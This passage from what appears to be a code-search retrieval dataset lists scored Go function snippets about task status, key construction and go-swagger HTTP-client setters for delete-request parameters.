ts.String()\n\t}\n\treturn \"PENDING\"\n}", "title": "" }, { "docid": "ac7ae14065ce1fa636ccc8c4ada61353", "score": "0.55248964", "text": "func (api *PublicAPI) Status() map[string]hexutil.Uint {\n\tapi.logger.Debug(\"txpool_status\")\n\treturn map[string]hexutil.Uint{\n\t\t\"pending\": hexutil.Uint(0),\n\t\t\"queued\": hexutil.Uint(0),\n\t}\n}", "title": "" }, { "docid": "bfaadd38768549971ef20f69322cd76a", "score": "0.5515947", "text": "func (userRequest UserRequest) getStatus() (TaskStatus, error) {\n\tif userRequest.RequestID == 0 {\n\t\terr := errors.New(\"RequestID сan not be 0\")\n\t\treturn TaskStatus{}, err\n\t}\n\n\turi := fmt.Sprintf(\n\t\t\"%s/management/v1/counter/%s/logrequest/%d\",\n\t\thost,\n\t\tuserRequest.CounterID,\n\t\tuserRequest.RequestID,\n\t)\n\n\tquery := url.Values{}\n\thttpRequest := httpRequest{\n\t\t\"GET\",\n\t\turi,\n\t\tuserRequest.Token,\n\t\tquery,\n\t}\n\n\tresponse, err := doRequest(httpRequest)\n\n\tgetStatusResponse := GetStatusResponse{}\n\terr = json.Unmarshal(response, &getStatusResponse)\n\tif err != nil {\n\t\treturn TaskStatus{}, err\n\t}\n\n\treturn getStatusResponse.TaskStatus, nil\n}", "title": "" }, { "docid": "5a1f156f02aa9161041f3fb8859eccf2", "score": "0.55120593", "text": "func (o TaskTagOutput) Key() pulumi.StringOutput {\n\treturn o.ApplyT(func(v TaskTag) string { return v.Key }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "680885a638ae50dc7aadfc96069eb8ae", "score": "0.55024207", "text": "func (e DescribeTaskV1RequestValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "c7da6f632e1ee84e6409160899241dfd", "score": "0.54899246", "text": "func (l *Layout) OtherStatusMemberKey(memberName string) string {\n\treturn fmt.Sprintf(statusMemberFormat, memberName)\n}", "title": "" }, { "docid": "9a713681d1e6e3445a24426dd868145f", "score": "0.5488782", "text": "func QueueStateKey(id uint64, group []byte) []byte {\n\tn := len(group)\n\tkey := make([]byte, n+9, n+9)\n\tgoetty.Uint64ToBytesTo(id, key)\n\tkey[8] = queueStateField\n\tcopy(key[9:], group)\n\treturn key\n}", "title": "" }, { "docid": "2d6119c91d9ade28a3f901b9923e4dd0", "score": "0.54848796", "text": "func (e StatusCodeResponseValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "ddf78654027cc1e5979b8b30ddc73a6a", "score": "0.5475846", "text": "func (e DescribeTaskV1ResponseValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "3066491a2016f6a589ddbf8095ed9db5", "score": "0.5462358", "text": "func GetLabelFromKey(key string) string {\n\tfor _, sellerStatus := range sellerStatusEnum {\n\t\tif sellerStatus[\"key\"] == key {\n\t\t\treturn sellerStatus[\"label\"].(string)\n\t\t}\n\t}\n\n\treturn \"\"\n}", "title": "" }, { "docid": "005e0b39935d37204287d0becb651a21", "score": "0.5461255", "text": "func (e ListTasksV1ResponseValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "52ff1373122008de4733767be641f6f8", "score": "0.5456326", "text": "func (p *Pool) pingKey() string {\n\tp.RLock()\n\tthisId := p.id\n\tp.RUnlock()\n\treturn \"workers:\" + thisId + \":ping\"\n}", "title": "" }, { "docid": "b33e96cc3b9e29e058694235183d2024", "score": "0.54539996", "text": "func VDESrcTaskStatus(ctx context.Context, d *daemon) error", "title": "" }, { "docid": "f025ad55d64b81e28d22c4204441fcdd", "score": "0.54466915", "text": "func isTaskRunning(status string) bool {\n\treturn status == \"running\" || status == \"preRunning\" || status == \"queued\"\n}", "title": "" }, { "docid": "c36fb06c929afc366cbccfe7b83f0281", "score": "0.5440591", "text": "func (q *queueLine) key(task *Task, order string) []byte {\n\treturn append(q.prefix, []byte(fmt.Sprintf(\"%s%s%s\", order, config.Prefix, task.ID))...)\n}", "title": "" }, { "docid": "12b05e406f628fe7d4ab09b840199b45", "score": "0.5417645", "text": "func TaskKeyPrefix(qname string) string {\n\treturn fmt.Sprintf(\"%st:\", QueueKeyPrefix(qname))\n}", "title": "" }, { "docid": "e28a3785b3c142cdeb1c28f0cf6098d3", "score": "0.5402439", "text": "func GetEtcdKeyChangeFeedStatus(changefeedID string) string {\n\treturn fmt.Sprintf(\"%s/changefeed/status/%s\", EtcdKeyBase, changefeedID)\n}", "title": "" }, { "docid": "0f280a5f0fd199e1afba2cea3ed2c5b4", "score": "0.54008853", "text": "func (self *IntkeyClient) Status(batchId string) (string, error) {\n\tstatus, err := self.Transport.GetBatchStatus(batchId, 0)\n\treturn string(status), err\n}", "title": "" }, { "docid": "4ba10f26c0679f75a38c48f0a51efea5", "score": "0.53863895", "text": "func (e ListTasksV1RequestValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "7bfdbb03d34600707d6f9eb2491e6105", "score": "0.5383804", "text": "func Status(computesURL *url.URL, cid string) (*types.TaskStatus, error) {\n\tvar netClient = &http.Client{\n\t\tTimeout: time.Second * 10,\n\t}\n\n\ttaskURL := *computesURL\n\ttaskURL.Path = fmt.Sprintf(\"/v1/tasks/%s\", cid)\n\n\tdebug(\"Get %v %s\", taskURL.String())\n\tresponse, err := netClient.Get(taskURL.String())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb, err := ioutil.ReadAll(response.Body)\n\tdefer response.Body.Close()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdebug(\"Response Get %v '%v'\", taskURL.String(), string(b))\n\n\tvar msg types.TaskStatus\n\terr = json.Unmarshal(b, &msg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &msg, nil\n}", "title": "" }, { "docid": "6bc034c15575c85d03f571542cd8a73d", "score": "0.5364713", "text": "func getKey() string {\n\treturn sortKeys[currentKeyIndex]\n}", "title": "" }, { "docid": "86b4a6182bc8b0474f2a754d07f8338e", "score": "0.53634906", "text": "func (status DiskMetric) Key() string {\n\treturn PathToKey(status.DiskPath)\n}", "title": "" }, { "docid": "32c716ddcdf168bf39416b2ee26efc7e", "score": "0.53524673", "text": "func (status AppDiskMetric) Key() string {\n\treturn PathToKey(status.DiskPath)\n}", "title": "" }, { "docid": "2d6113a13feba60966afee76124ca628", "score": "0.53384966", "text": "func (vc *ViewCache) StatusTemplateName() string {\n\treturn vc.statusTemplateName\n}", "title": "" }, { "docid": "f9dfb357abd5c7537fea9c2cbd63e36a", "score": "0.53330445", "text": "func (manager *ManagerImpl) getStatus() string {\n\tvar currentRequests bytes.Buffer\n\t/*for key := range manager.currentRequests {\n\t\tcurrentRequests.WriteString(key)\n\t}*/\n\tmanager.syncCurrentRequests.Range(func(key interface{}, value interface{}) bool {\n\t\tcurrentRequests.WriteString(key.(string))\n\t\treturn true\n\t})\n\treturn fmt.Sprintf(\n\t\t\"Current connections %v:\\n--requests: %v \\n\",\n\t\tmanager.currentConns,\n\t\tcurrentRequests.String(),\n\t)\n}", "title": "" }, { "docid": "4ca35588e36a829da0dbad41b9fe1e39", "score": "0.5317222", "text": "func (wr *WorkRequest) StatusLabel() string {\n\tswitch wr.Status {\n\tcase Error:\n\t\treturn \"error\"\n\tcase Success:\n\t\treturn \"success\"\n\tcase Running:\n\t\treturn \"running\"\n\tdefault:\n\t\treturn \"idle\"\n\t}\n}", "title": "" }, { "docid": "da5e3d8faacebe1f91ef0799ca58b495", "score": "0.5308436", "text": "func getStatus(name string, keyID string) {\n\n\tvar statusurl string\n\n\tif len(name) > 1 {\n\t\t//get status for 'name' environment\n\t\tstatusurl = cloudUrl + \"/api/v1/status/\" + name\n\t} else {\n\t\t// when 'name' is absent then get cluster status\n\t\tstatusurl = cloudUrl + \"/api/v1/cluster\"\n\t}\n\n\t//fmt.Println(\"HTTP JSON POST URL:\", statusurl)\n\n\trequest, error := http.NewRequest(\"GET\", statusurl, nil)\n\trequest.Header.Set(\"cid\", keyID)\n\t//fmt.Println(\"cid:\", keyID)\n\n\tclient := &http.Client{}\n\tresponse, error := client.Do(request)\n\tif error != nil {\n\t\tpanic(error)\n\t}\n\tdefer response.Body.Close()\n\n\tfmt.Fprintln(os.Stderr, \"response Status:\", response.Status)\n\t//fmt.Println(\"response Headers:\", response.Header)\n\tbody, _ := ioutil.ReadAll(response.Body)\n\tfmt.Fprintln(os.Stderr, \"response Body:\")\n\tfmt.Println(string(body))\n}", "title": "" }, { "docid": "bd473410099ee63746581f8fca45ada6", "score": "0.52875376", "text": "func (e ServerStatusResponseValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "053a4a2a0a7c23b4ee04049d378997b9", "score": "0.52779543", "text": "func (m *AccessReviewScheduleDefinition) GetStatus()(*string) {\n val, err := m.GetBackingStore().Get(\"status\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*string)\n }\n return nil\n}", "title": "" }, { "docid": "6639b9708c1adc7ac7d4550b698f3880", "score": "0.5275934", "text": "func (e StatusAnnotationValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "086b6e8ad44f229d6363f33777c698dd", "score": "0.5275452", "text": "func status(jsonBody map[string]interface{}) string {\n\trawStatus, ok := jsonBody[\"status\"]\n\tif !ok {\n\t\treturn \"\"\n\t}\n\tstatus, ok := rawStatus.(string)\n\tif !ok {\n\t\treturn \"\"\n\t}\n\treturn status\n}", "title": "" }, { "docid": "4fca2f44c3cfcaa232f21f03dcd08a4a", "score": "0.5271958", "text": "func (m TaskManager) checkTaskStatus(c context.Context, ctl task.Controller) error {\n\tswitch status := ctl.State().Status; {\n\t// This can happen if Swarming manages to send PubSub message before\n\t// LaunchTask finishes. Do not touch State or DebugLog to avoid collision with\n\t// still running LaunchTask when saving the invocation, it will only make the\n\t// matters worse.\n\tcase status == task.StatusStarting:\n\t\treturn errors.New(\"invocation is still starting, try again later\", transient.Tag)\n\tcase status != task.StatusRunning:\n\t\treturn fmt.Errorf(\"unexpected invocation status %q, expecting %q\", status, task.StatusRunning)\n\t}\n\n\t// Grab task ID from the blob generated in LaunchTask.\n\ttaskData := taskData{}\n\tif err := json.Unmarshal(ctl.State().TaskData, &taskData); err != nil {\n\t\tctl.State().Status = task.StatusFailed\n\t\treturn fmt.Errorf(\"could not parse TaskData - %s\", err)\n\t}\n\n\t// Fetch task result from Swarming.\n\tservice, err := m.createSwarmingService(c, ctl)\n\tif err != nil {\n\t\treturn err\n\t}\n\tresp, err := service.Task.Result(taskData.SwarmingTaskID).Do()\n\tif err != nil {\n\t\tctl.DebugLog(\"Failed to fetch task results - %s\", err)\n\t\terr = utils.WrapAPIError(err)\n\t\tif !transient.Tag.In(err) {\n\t\t\tctl.State().Status = task.StatusFailed\n\t\t}\n\t\treturn err\n\t}\n\n\tblob, err := json.MarshalIndent(resp, \"\", \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\tm.handleTaskResult(c, ctl, resp)\n\n\t// Dump final status in full to the debug log. It doesn't contain any secrets.\n\tif ctl.State().Status.Final() {\n\t\tctl.DebugLog(\"Swarming task status:\\n%s\", blob)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "7b99a219f4e3127897f772b8f27815d4", "score": "0.5268379", "text": "func (self *Ring) getSuccessorKey(key int) int {\n\treturn self.getSuccessor(key).Key\n}", "title": "" }, { "docid": "0835ab7db36be61d1d1c5781ca9bc85a", "score": "0.52618027", "text": "func (e ManageProjectTaskValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "1b442b78899170da785e4f55a762907d", "score": "0.5254604", "text": "func (e KickManageProjectTaskValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "95bb0277d665c44f5b497ffeaea42e80", "score": "0.52464026", "text": "func changeTaskStatus(tx *sql.Tx, txID, payload, reason string, status taskStatus) error {\n\ttargetTableName := tableNameStatusFailed\n\tif status == taskStatusSucceeded {\n\t\ttargetTableName = tableNameStatusSucceeded\n\t}\n\tresult, err := tx.Exec(`delete from queue_pending where tx_id = $1`, txID)\n\tif err != nil {\n\t\treturn err\n\t}\n\taffected, _ := result.RowsAffected()\n\tif affected != 1 {\n\t\treturn fmt.Errorf(\"must be one row, but get %d\", affected)\n\t}\n\tqueue := fmt.Sprintf(`insert into %s (tx_id, payload, reason) values ($1, $2, $3)`, targetTableName)\n\tresult, err = tx.Exec(queue, txID, payload, reason)\n\tif err != nil {\n\t\treturn err\n\t}\n\taffected, _ = result.RowsAffected()\n\tif affected != 1 {\n\t\treturn fmt.Errorf(\"must be one row, but get %d\", affected)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8d9ca990b642fd49a087768763d87f69", "score": "0.5242896", "text": "func WorkflowCurrentInstanceKey(id uint64) []byte {\n\tkey := make([]byte, 9, 9)\n\tkey[0] = workflowCurrentPrefix\n\tgoetty.Uint64ToBytesTo(id, key[1:])\n\treturn key\n}", "title": "" }, { "docid": "3e183f93dacc94bd969a9efd8088c961", "score": "0.52422905", "text": "func (sc *SensorflowClient) UkeyStatus(unum int) uint64 {\n\ts := uint64(0)\n\n\tfor i := 0; i < unum; i++ {\n\t\t// key status at 0 ~ 5, mapping U0 ~ U5 key status, total 6\n\t\tfor j := 0; j < sc.UKeyNumber; j++ {\n\t\t\tstart := j * 2\n\t\t\tend := (j + 1) * 2\n\n\t\t\td := sc.Data[i][start:end]\n\t\t\tt := binary.BigEndian.Uint16(d)\n\n\t\t\t// key press times, larger than 0 means pressing\n\t\t\tif t == 0 {\n\t\t\t\ts = s & (^(1 << uint(i*6+j)))\n\t\t\t} else {\n\t\t\t\ts = s | (1 << uint(i*6+j))\n\t\t\t}\n\t\t}\n\t}\n\n\t// transfer data\n\ttmp := s\n\ts = ((tmp & 0xFFFF) << 48) + (((tmp >> 16) & 0xFFFF) << 32) + (((tmp >> 32) & 0xFFFF) << 16) + ((tmp >> 48) & 0xFFFF)\n\n\t// log.Printf(\"%X, %X\", s, tmp)\n\treturn s\n}", "title": "" }, { "docid": "18f1770201d3d4b70be29db681c23957", "score": "0.5229351", "text": "func (c *Context) Key() string { return c.config.Key }", "title": "" }, { "docid": "2e3184db2a661a1aba04705e1f8187dd", "score": "0.52222025", "text": "func (e CreateTaskV1RequestValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "5f5d9ae454dfe739d61f173654ca7ab5", "score": "0.5221647", "text": "func (k Kind) String() string {\n\treturn statuses[k]\n}", "title": "" }, { "docid": "e7f227bde5d14541aa4b6da4ea58ce01", "score": "0.521879", "text": "func (ti *TopoInstance) Key() string {\n\treturn fmt.Sprintf(\"%s:%d\", ti.ObjectID, ti.InstanceID)\n}", "title": "" }, { "docid": "325d88762169dbb716b08ad99bac6dd8", "score": "0.5218068", "text": "func (e CreateTaskV1ResponseValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "5ae840396edb63d8bfb0cf5105d36179", "score": "0.5210511", "text": "func lockKey(key string) string {\n\treturn fmt.Sprintf(\"TF_STATE_LOCK_%s\", key)\n}", "title": "" }, { "docid": "65190bcca6a195dca092af2a409aa105", "score": "0.52061105", "text": "func getKey(ts *remote.TimeSeries) (string, error) {\n\tvar (\n\t\tjobName, inst string\n\t\tinstFound bool\n\t)\n\n\tfor _, l := range ts.Labels {\n\t\tif jobName != \"\" && instFound {\n\t\t\tbreak\n\t\t}\n\n\t\tswitch l.Name {\n\t\tcase model.JobLabel:\n\t\t\tjobName = l.Value\n\n\t\tcase model.InstanceLabel:\n\t\t\tinst = l.Value\n\t\t\tinstFound = true\n\n\t\tcase model.AddressLabel:\n\t\t\tif inst == \"\" {\n\t\t\t\tinst = l.Value\n\t\t\t}\n\t\t}\n\t}\n\n\tif jobName == \"\" {\n\t\treturn \"\", errors.New(\"missing job label\")\n\t}\n\n\tif inst == \"\" {\n\t\treturn \"\", errors.New(\"missing instance label and address label\")\n\t}\n\n\treturn fmt.Sprintf(\"%s-%s\", jobName, inst), nil\n}", "title": "" }, { "docid": "6a1fd881becedaf17c56278b910faec1", "score": "0.52048784", "text": "func isTaskComplete(status string) bool {\n\treturn status == \"success\" || status == \"aborted\"\n}", "title": "" }, { "docid": "887e9f580efb5ac85e61c05990cb0dfc", "score": "0.520217", "text": "func (m *Class) GetStatus() string {\n\tif m.IsLocked() {\n\t\treturn \"migrating\"\n\t}\n\n\treturn \"ready\"\n}", "title": "" }, { "docid": "5a742452c746c2f6562aadc86c970748", "score": "0.5195671", "text": "func StatusToName(id uint8) (string, error) {\n\tfor k, v := range statuses {\n\t\tif v == id {\n\t\t\treturn k, nil\n\t\t}\n\t}\n\n\treturn \"\", errorInvalidStatus\n}", "title": "" }, { "docid": "e60b7d10a500b5e287311480f9c98816", "score": "0.51906323", "text": "func (e CheckMatchmakeStatusRequestValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "c7a0b2bbf23e71c7af5bbd8003b8b320", "score": "0.51747787", "text": "func (e FileStatusAnnotationValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "9f914fbd86aa48d35a77e812afb0eb49", "score": "0.51693857", "text": "func GetTaskStatus(ctx context.Context, taskID string, db common.DbType) (*Task, error) {\n\ttask := new(Task)\n\tvar taskData string\n\tconnPool, err := common.GetDBConnection(common.InMemory)\n\tif err != nil {\n\t\tl.LogWithFields(ctx).Error(\"GetTaskStatus : error while trying to get DB Connection : \" + err.Error())\n\t\treturn task, fmt.Errorf(\"error while trying to connnect to DB: %v\", err.Error())\n\t}\n\ttaskData, err = connPool.Read(\"task\", taskID)\n\tif err != nil {\n\t\tl.LogWithFields(ctx).Error(\"GetTaskStatus : Unable to read taskdata from DB: \" + err.Error())\n\t\treturn task, fmt.Errorf(\"error while trying to read from DB: %v\", err.Error())\n\t}\n\tif errs := json.Unmarshal([]byte(taskData), task); errs != nil {\n\t\treturn task, fmt.Errorf(\"error while trying to unmarshal task data: %v\", errs)\n\t}\n\treturn task, nil\n}", "title": "" }, { "docid": "4b506353c1fce9f95492bc0b9da2af86", "score": "0.51689076", "text": "func indexKey(wi *model.WorkloadInstance) string {\n\treturn wi.Namespace + \"/\" + wi.Name\n}", "title": "" }, { "docid": "22a7eca26e60c85b08bc18dbd0c61623", "score": "0.5161792", "text": "func (c *CookiejarClient) getStatus(batchID string, wait uint) (string, error) {\n\t// Create the URL suffix\n\tsuffix := fmt.Sprintf(\"%s?id=%s&wait=%d\", \"batch_statuses\", batchID, wait)\n\n\t// Send the request\n\tresponse, err := c.sendRequest(suffix, \"\", []byte{})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Get the data element from the respone's response map\n\tdata, err := c.getData(response, 0)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Error reading response: %v\", err)\n\t}\n\n\t// Return the status as a string\n\treturn data[\"status\"].(string), nil\n}", "title": "" }, { "docid": "d3f58e9a153125f894de11393bc621d8", "score": "0.5153926", "text": "func StatusCode(ctx context.Context) (string, bool) {\n\tcode, ok := ctx.Value(contextkeys.StatusCodeKey).(string)\n\treturn code, ok\n}", "title": "" }, { "docid": "722feaa547fa541aaad64ba49576590b", "score": "0.51535684", "text": "func (e MessageStatusAnnotationValidationError) Key() bool { return e.key }", "title": "" }, { "docid": "953d2677529e8d660b566b3db1f304b5", "score": "0.5143192", "text": "func condKey(in_repo, commit, job string) string {\n\treturn path.Join(in_repo, commit, job)\n}", "title": "" }, { "docid": "686a69507cfee6423d40615c82361e77", "score": "0.51400274", "text": "func TransStatus(eStatus string) string {\n\tswitch eStatus {\n\tcase \"starting\":\n\t\treturn \"starting\"\n\tcase \"abnormal\":\n\t\treturn \"abnormal operation\"\n\tcase \"upgrade\":\n\t\treturn \"upgrade\"\n\tcase \"closed\":\n\t\treturn \"closed\"\n\tcase \"stopping\":\n\t\treturn \"stopping\"\n\tcase \"checking\":\n\t\treturn \"checking\"\n\tcase \"unusual\":\n\t\treturn \"abnormal operation\"\n\tcase \"running\":\n\t\treturn \"running\"\n\tcase \"failure\":\n\t\treturn \"failure\"\n\tcase \"undeploy\":\n\t\treturn \"undeploy\"\n\tcase \"deployed\":\n\t\treturn \"deployed\"\n\tcase \"deploying\":\n\t\treturn \"deploying\"\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "baf43f7e93ce8662b01a475030c32cef", "score": "0.5131561", "text": "func (m *TodoTask) SetStatus(value *TaskStatus)() {\n err := m.GetBackingStore().Set(\"status\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "d9de0ed1f2f8d138d19117ec650f29d5", "score": "0.51300776", "text": "func (self *Ring) getKey() int {\n\n\tmyAddr := net.JoinHostPort(self.Address, self.Port)\n\treturn self.Usertable[myAddr].Id\n}", "title": "" }, { "docid": "0c43dc905443dad4692a796b87a2699c", "score": "0.5122709", "text": "func (vc *Config) Key() string {\n\treturn vc.Keys[0]\n}", "title": "" } ]
9e28efe7ede0c224e195daf416f70d32
WithHTTPClient adds the HTTPClient to the delete instance params
[ { "docid": "a8f7b44adfa2efa4bba1bb24ae307a79", "score": "0.75876063", "text": "func (o *DeleteInstanceParams) WithHTTPClient(client *http.Client) *DeleteInstanceParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" } ]
[ { "docid": "41a4969d8f57352855de4ffebe935fe6", "score": "0.73303646", "text": "func (o *DeleteInstanceParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "ea9e68757a7d68eb1b0cfc4de278f74b", "score": "0.70805883", "text": "func (o *DeleteDraftByIDUsingDELETEParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "22b86e6bd1634add3021fe34d6f1a0bb", "score": "0.7048308", "text": "func (o *DeleteCommandUsingDELETEParams) WithHTTPClient(client *http.Client) *DeleteCommandUsingDELETEParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "9deda8ef3fe81349ec944a04db3246e9", "score": "0.7042869", "text": "func (o *DeleteCommandUsingDELETEParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "80a4a335ac01c0b60e75f427e9d59ce2", "score": "0.69776666", "text": "func (o *DeleteGatewayUsingDELETEParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "54702a4545e4df77cf56d78330f91334", "score": "0.6962054", "text": "func (o *EmployeesByIDCustomPropertiesByCustomPropertyNameAttachmentDeleteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "5691d6fe8de8dd602a35c94961b183e7", "score": "0.6953538", "text": "func (o *DeleteAPIParams) WithHTTPClient(client *http.Client) *DeleteAPIParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "2503383c4bde71592d3b25fdced72a45", "score": "0.69508636", "text": "func NewDeleteInstanceParamsWithHTTPClient(client *http.Client) *DeleteInstanceParams {\n\tvar ()\n\treturn &DeleteInstanceParams{\n\t\tHTTPClient: client,\n\t}\n}", "title": "" }, { "docid": "e4ae86f61261cc9ae961ebc3c5b30fdf", "score": "0.69461536", "text": "func (o *DeleteMarketPlaceAppBySlugUsingDELETEParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "2c8dccf70ca8fe74b4a3ef989ef22f49", "score": "0.6900908", "text": "func (o *DeleteProtectedEntityParams) WithHTTPClient(client *http.Client) *DeleteProtectedEntityParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "6fe2f7a27d39ceef80028fede5f7b95a", "score": "0.68447447", "text": "func NewDeleteAPIParamsWithHTTPClient(client *http.Client) *DeleteAPIParams {\n\tvar (\n\t\ttidDefault = string(\"default\")\n\t)\n\treturn &DeleteAPIParams{\n\t\tTid: tidDefault,\n\t\tHTTPClient: client,\n\t}\n}", "title": "" }, { "docid": "5391a76830ac5b22bce0a0e74db27473", "score": "0.68115115", "text": "func (o *DeleteProtectedEntityParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "017d59979835373b21e2c2759e9dfcfd", "score": "0.6773696", "text": "func (o *DeleteAPIParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "30664434fedeb291d8560731354c4a0d", "score": "0.6755051", "text": "func (o *ListsByListIDDeleteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "6895051957df276f15d2a52f212a5bde", "score": "0.6740591", "text": "func (o *PetDeleteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "9cdd2832dd5c116dc1f761e4755f46f5", "score": "0.67309254", "text": "func (o *DeletePrefilterParams) WithHTTPClient(client *http.Client) *DeletePrefilterParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "c404a424e2f7d3ff547831d372d38b60", "score": "0.6722469", "text": "func (o *DeleteCpeParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "01e1704cee0f0dd3cc99c7fe4602857f", "score": "0.6718124", "text": "func (o *TaxTaxClassRepositoryV1DeleteByIDDeleteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "a49527f6572bcdcb5fdf3d87e76f93e1", "score": "0.6690227", "text": "func (o *DeletePrefilterParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "a6c3019835b45414d1166ddb624bbdcf", "score": "0.66876084", "text": "func (o *DeleteGatewayUsingDELETEParams) WithHTTPClient(client *http.Client) *DeleteGatewayUsingDELETEParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "573e83e7d0b8b5283df828b4e15b4fd5", "score": "0.6646655", "text": "func (o *DeleteDraftByIDUsingDELETEParams) WithHTTPClient(client *http.Client) *DeleteDraftByIDUsingDELETEParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "7b2aa4021da07dc326d805d6157aa526", "score": "0.66247666", "text": "func (o *DeleteSSHKeyParams) WithHTTPClient(client *http.Client) *DeleteSSHKeyParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "4ed9e5c9d9d6c55426dc9b4ace0a43de", "score": "0.65918344", "text": "func (o *DeleteCpeParams) WithHTTPClient(client *http.Client) *DeleteCpeParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "57a97a455e1c0cf0598b5ebc2bca5347", "score": "0.6572534", "text": "func (o *DeleteTargetPolicyParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "e8482725664758be6e01f1184c3b47ba", "score": "0.6568292", "text": "func (o *SnaplockRetentionPolicyDeleteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "7ead9a0fbaf2c2e0582f606e93ede1f6", "score": "0.65647805", "text": "func (o *DeleteSensorUsingDELETEParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "584a6daaf8f3aa9b446a0e42eeed91a2", "score": "0.6542553", "text": "func (o *ExchangeDeleteListParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "56bd4fe8190871aa58759380a3d0d3f2", "score": "0.65391713", "text": "func (o *DeleteRouteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "15c8c732d7642e645bcc4677eee41b35", "score": "0.65181786", "text": "func (o *CatalogProductAttributeRepositoryV1DeleteByIDDeleteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "dc213829c2206989333d3bcd20cb0c5f", "score": "0.6507375", "text": "func (o *DeleteDeviceCredentialsByIDParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "d7939fd07ee45b86f1fc1632d3a410ee", "score": "0.6492902", "text": "func (o *DeleteSSHKeyParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "db7af9b5cd50817dd84a7b71bcb329fa", "score": "0.6480945", "text": "func (o *SnapmirrorRelationshipDeleteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "afbbbc5d0755307243a40029602b02b8", "score": "0.6462151", "text": "func (o *PetDeleteParams) WithHTTPClient(client *http.Client) *PetDeleteParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "b6cc1644f3c2dae2995ba1eb7e120315", "score": "0.64540905", "text": "func (o *DeleteCloudAccessGUIDParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "f5ab56d7e1a1a7c04628ebb2df446a74", "score": "0.6432738", "text": "func (o *DeleteConnectionsByIDParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "cec0a62bdcc626a16b62e067c33f1def", "score": "0.6383969", "text": "func (o *DeleteNodePoolConfigItemParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "7773bdf67dd40a988f47f77d092fb4fa", "score": "0.6362388", "text": "func (o *IgroupNestedDeleteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "9431a21250f591af39ac68951e1701c1", "score": "0.63567805", "text": "func (o *DeleteSyncPolicyParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "3d845e5de2539f3b71ade30d90cb0dc1", "score": "0.63352394", "text": "func (o *DeleteStreamParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": 